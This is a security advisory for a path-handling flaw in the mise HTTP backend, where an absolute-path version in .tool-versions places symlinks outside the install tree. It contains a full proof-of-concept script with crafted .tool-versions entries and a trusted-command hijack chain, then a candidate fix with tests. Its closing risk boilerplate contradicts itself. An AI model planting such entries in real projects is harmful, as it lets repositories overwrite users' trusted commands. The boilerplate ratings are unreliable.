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GHSA-f94h-j2qg-fxw3
No affected components available
Summary
The mise HTTP backend builds its install symlink destination from the raw resolved version string for non-latest versions. Normal tool install paths use the sanitized version pathname, but the HTTP backend's symlink path uses the raw value. On Unix-like systems, if that version is an absolute path, PathBuf::join discards the intended mise installs root.
A repository-controlled .tool-versions file can therefore make mise install create a symlink outside the mise install tree. With bin_path, the same issue can place an executable symlink under an attacker-selected absolute prefix, such as a developer-tool prefix that is later added to PATH.
The reproducer below also models a CI/developer workflow where a later step executes a preexisting trusted command from a user-local PATH prefix. The absolute-version HTTP entry replaces that command with a symlink to downloaded HTTP content. A non-absolute version control does not replace the trusted PATH command.
Affected Code
In src/backend/http.rs, create_install_symlink() derives the destination path from raw tv.version:
let version_name = if tv.version == "latest" || tv.version.is_empty() {
&cache_key[..7.min(cache_key.len())]
} else {
&tv.version
};
let install_path = tv.ba().installs_path.join(version_name);
ToolVersion::tv_pathname() already sanitizes : and / for filesystem version directory names, but this HTTP backend path does not use it.
Impact
Proven:
- Outside-root symlink creation from a repository-controlled
.tool-versionsentry. - Executable symlink materialization under an attacker-selected absolute prefix when
bin_pathis configured. - The executable symlink can be run if that prefix's
bindirectory is onPATH. - Replacement of a preexisting command in a trusted
PATHprefix in a local workflow-chain model, followed by execution of the replaced command by name.
Not claimed:
mise installdoes not automatically execute the placed binary in the reproducer.- Windows drive-letter absolute paths are not claimed; the demonstrated impact is Unix-like path behavior.
- Credential theft is not claimed.
Why This Crosses A Boundary
.tool-versions is an asdf-compatible project file and is parsed without the mise.toml trust gate used for configuration features that can execute code or affect the environment. Even if a project can choose tools to install, an install operation should keep HTTP backend materialization under the selected mise install/cache roots unless the user explicitly performs a trusted link or path operation.
The HTTP backend documentation describes HTTP tool installations as symlinks under the mise installs directory, for example:
$MISE_DATA_DIR/installs/http-my-tool/1.0.0 -> $MISE_CACHE_DIR/http-tarballs/...
The observed behavior instead allows the project version string to choose an absolute install destination.
Reproduction
The script below performs three local checks:
- It creates a
.tool-versionsentry whose HTTP backend version is an absolute path, then confirms that mise creates a symlink at that outside path. - It creates a second HTTP backend entry with
bin_path=binand confirms that mise places an executable symlink under an attacker-selected absolute prefix and that the symlink is executable when the prefix'sbindirectory is onPATH. - It creates a preexisting trusted command in a user-local
PATHprefix, runsmise installfrom a project.tool-versionsfile, and confirms the later trusted command execution is replaced only in the absolute-version case. A non-absolute version control leaves the preexisting command in place.
The script uses a loopback HTTP server and temporary directories only.
#!/bin/sh
set -eu
if ! command -v mise >/dev/null 2>&1; then
echo "mise must be on PATH" >&2
exit 1
fi
if ! command -v python3 >/dev/null 2>&1; then
echo "python3 must be on PATH for the loopback HTTP server" >&2
exit 1
fi
ROOT="$(mktemp -d)"
OUT="$ROOT/out"
DATA="$ROOT/data"
CACHE="$ROOT/cache"
STATE="$ROOT/state"
CONFIG="$ROOT/config"
WWW="$ROOT/www"
cleanup() {
if [ -n "${SERVER_PID:-}" ]; then
kill "$SERVER_PID" 2>/dev/null || true
fi
rm -rf "$ROOT"
}
trap cleanup EXIT
mkdir -p "$OUT" "$DATA" "$CACHE" "$STATE" "$CONFIG" "$WWW"
cat > "$WWW/payload" <<'PAYLOAD'
#!/bin/sh
if [ -n "${CHAIN_MARKER:-}" ]; then
echo ATTACKER_CONTROLLED_TRUSTED_COMMAND > "$CHAIN_MARKER"
else
echo MISE_HTTP_ABSOLUTE_VERSION_EXECUTED > "$MISE_HTTP_ABSOLUTE_VERSION_MARKER"
fi
PAYLOAD
chmod +x "$WWW/payload"
(
cd "$WWW"
python3 -m http.server 54321 --bind 127.0.0.1 >/dev/null 2>&1
) &
SERVER_PID=$!
sleep 1
PROJECT1="$ROOT/project-host-write"
mkdir -p "$PROJECT1"
cat > "$PROJECT1/.tool-versions" <<EOF1
http:absolute-version-one[url=http://127.0.0.1:54321/payload,bin=owned-one] $OUT/owned-link
EOF1
(
cd "$PROJECT1"
MISE_DATA_DIR="$DATA" \
MISE_CACHE_DIR="$CACHE" \
MISE_STATE_DIR="$STATE" \
MISE_CONFIG_DIR="$CONFIG" \
MISE_YES=1 \
mise install --yes
)
if [ ! -L "$OUT/owned-link" ]; then
echo "FAIL: outside symlink was not created" >&2
exit 1
fi
PROJECT2="$ROOT/project-bin-path"
mkdir -p "$PROJECT2"
cat > "$PROJECT2/.tool-versions" <<EOF2
http:absolute-version-two[url=http://127.0.0.1:54321/payload,bin=ownedcmd,bin_path=bin] $OUT/selected-prefix
EOF2
rm -rf "$DATA" "$CACHE" "$STATE" "$CONFIG"
mkdir -p "$DATA" "$CACHE" "$STATE" "$CONFIG"
(
cd "$PROJECT2"
MISE_DATA_DIR="$DATA" \
MISE_CACHE_DIR="$CACHE" \
MISE_STATE_DIR="$STATE" \
MISE_CONFIG_DIR="$CONFIG" \
MISE_YES=1 \
mise install --yes
)
if [ ! -L "$OUT/selected-prefix/bin/ownedcmd" ]; then
echo "FAIL: executable symlink was not created under selected prefix" >&2
exit 1
fi
MARKER="$OUT/executed-marker"
MISE_HTTP_ABSOLUTE_VERSION_MARKER="$MARKER" \
PATH="$OUT/selected-prefix/bin:$PATH" \
ownedcmd
if ! grep -q MISE_HTTP_ABSOLUTE_VERSION_EXECUTED "$MARKER"; then
echo "FAIL: executable symlink did not run" >&2
exit 1
fi
echo "VULNERABLE_BEHAVIOR_CONFIRMED"
echo "outside symlink: $OUT/owned-link -> $(readlink "$OUT/owned-link")"
echo "path executable: $OUT/selected-prefix/bin/ownedcmd -> $(readlink "$OUT/selected-prefix/bin/ownedcmd")"
run_path_chain_case() {
case_name="$1"
version="$2"
expected="$3"
CASE_ROOT="$ROOT/$case_name"
HOME_DIR="$CASE_ROOT/home"
CASE_DATA="$CASE_ROOT/data"
CASE_CACHE="$CASE_ROOT/cache"
CASE_STATE="$CASE_ROOT/state"
CASE_CONFIG="$CASE_ROOT/config"
CASE_PROJECT="$CASE_ROOT/project"
CASE_MARKER="$CASE_ROOT/marker"
if [ "$version" = "__HOME_LOCAL_PREFIX__" ]; then
version="$HOME_DIR/.local"
fi
mkdir -p "$HOME_DIR/.local/bin" "$CASE_DATA" "$CASE_CACHE" "$CASE_STATE" "$CASE_CONFIG" "$CASE_PROJECT"
cat > "$HOME_DIR/.local/bin/trustedcmd" <<'SAFE'
#!/bin/sh
echo SAFE_PREEXISTING_TRUSTED_COMMAND > "$CHAIN_MARKER"
SAFE
chmod +x "$HOME_DIR/.local/bin/trustedcmd"
cat > "$CASE_PROJECT/.tool-versions" <<EOF3
http:path-chain[url=http://127.0.0.1:54321/payload,bin=trustedcmd,bin_path=bin] $version
EOF3
(
cd "$CASE_PROJECT"
HOME="$HOME_DIR" \
MISE_DATA_DIR="$CASE_DATA" \
MISE_CACHE_DIR="$CASE_CACHE" \
MISE_STATE_DIR="$CASE_STATE" \
MISE_CONFIG_DIR="$CASE_CONFIG" \
MISE_YES=1 \
mise install --yes
)
CHAIN_MARKER="$CASE_MARKER" \
PATH="$HOME_DIR/.local/bin:$PATH" \
trustedcmd
observed="$(cat "$CASE_MARKER")"
if [ "$observed" != "$expected" ]; then
echo "FAIL: $case_name expected $expected but saw $observed" >&2
exit 1
fi
if [ "$case_name" = "path-chain-vulnerable" ] && [ ! -L "$HOME_DIR/.local/bin/trustedcmd" ]; then
echo "FAIL: path-chain case did not replace trustedcmd with a symlink" >&2
exit 1
fi
}
run_path_chain_case path-chain-vulnerable "__HOME_LOCAL_PREFIX__" ATTACKER_CONTROLLED_TRUSTED_COMMAND
run_path_chain_case path-chain-control "1.0.0" SAFE_PREEXISTING_TRUSTED_COMMAND
echo "PATH_CHAIN_CONFIRMED"
Expected vulnerable markers:
VULNERABLE_BEHAVIOR_CONFIRMED
PATH_CHAIN_CONFIRMED
Candidate Fix
Use tv.tv_pathname() for non-latest HTTP install symlink names, preserving the current content-addressed behavior for latest or empty versions.
diff --git a/src/backend/http.rs b/src/backend/http.rs
index 4e4e972..18cf8a1 100644
--- a/src/backend/http.rs
+++ b/src/backend/http.rs
@@ -518,12 +518,12 @@ impl HttpBackend {
// Determine version name for install path
let version_name = if tv.version == "latest" || tv.version.is_empty() {
- &cache_key[..7.min(cache_key.len())] // Content-based versioning
+ cache_key[..7.min(cache_key.len())].to_string() // Content-based versioning
} else {
- &tv.version
+ tv.tv_pathname()
};
- let install_path = tv.ba().installs_path.join(version_name);
+ let install_path = tv.ba().installs_path.join(&version_name);
// Clean up existing install
if install_path.exists() {
@@ -839,3 +839,51 @@ impl Backend for HttpBackend {
}
}
}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+ use crate::cli::args::{BackendArg, BackendResolution};
+ use crate::toolset::{ToolRequest, ToolSource, ToolVersionOptions};
+
+ fn http_test_tv(version: &str) -> ToolVersion {
+ let backend = Arc::new(BackendArg::new_raw(
+ "http-absolute-version".to_string(),
+ Some("http:absolute-version".to_string()),
+ "absolute-version".to_string(),
+ None,
+ BackendResolution::new(true),
+ ));
+ let request = ToolRequest::Version {
+ backend,
+ version: version.to_string(),
+ options: ToolVersionOptions::default(),
+ source: ToolSource::Argument,
+ };
+ ToolVersion::new(request, version.to_string())
+ }
+
+ #[test]
+ fn install_symlink_path_uses_sanitized_version_pathname() {
+ let tv = http_test_tv("/outside-root/mise-http-version-out/selected-prefix");
+
+ assert_eq!(
+ tv.tv_pathname(),
+ "-outside-root-mise-http-version-out-selected-prefix"
+ );
+ assert!(!Path::new(&tv.tv_pathname()).is_absolute());
+ }
+
+ #[test]
+ fn latest_install_symlink_still_uses_content_version() {
+ let tv = http_test_tv("latest");
+ let cache_key = "abcdef123456";
+ let version_name = if tv.version == "latest" || tv.version.is_empty() {
+ cache_key[..7.min(cache_key.len())].to_string()
+ } else {
+ tv.tv_pathname()
+ };
+
+ assert_eq!(version_name, "abcdef1");
+ }
+}
Reporter: JUNYI LIU
The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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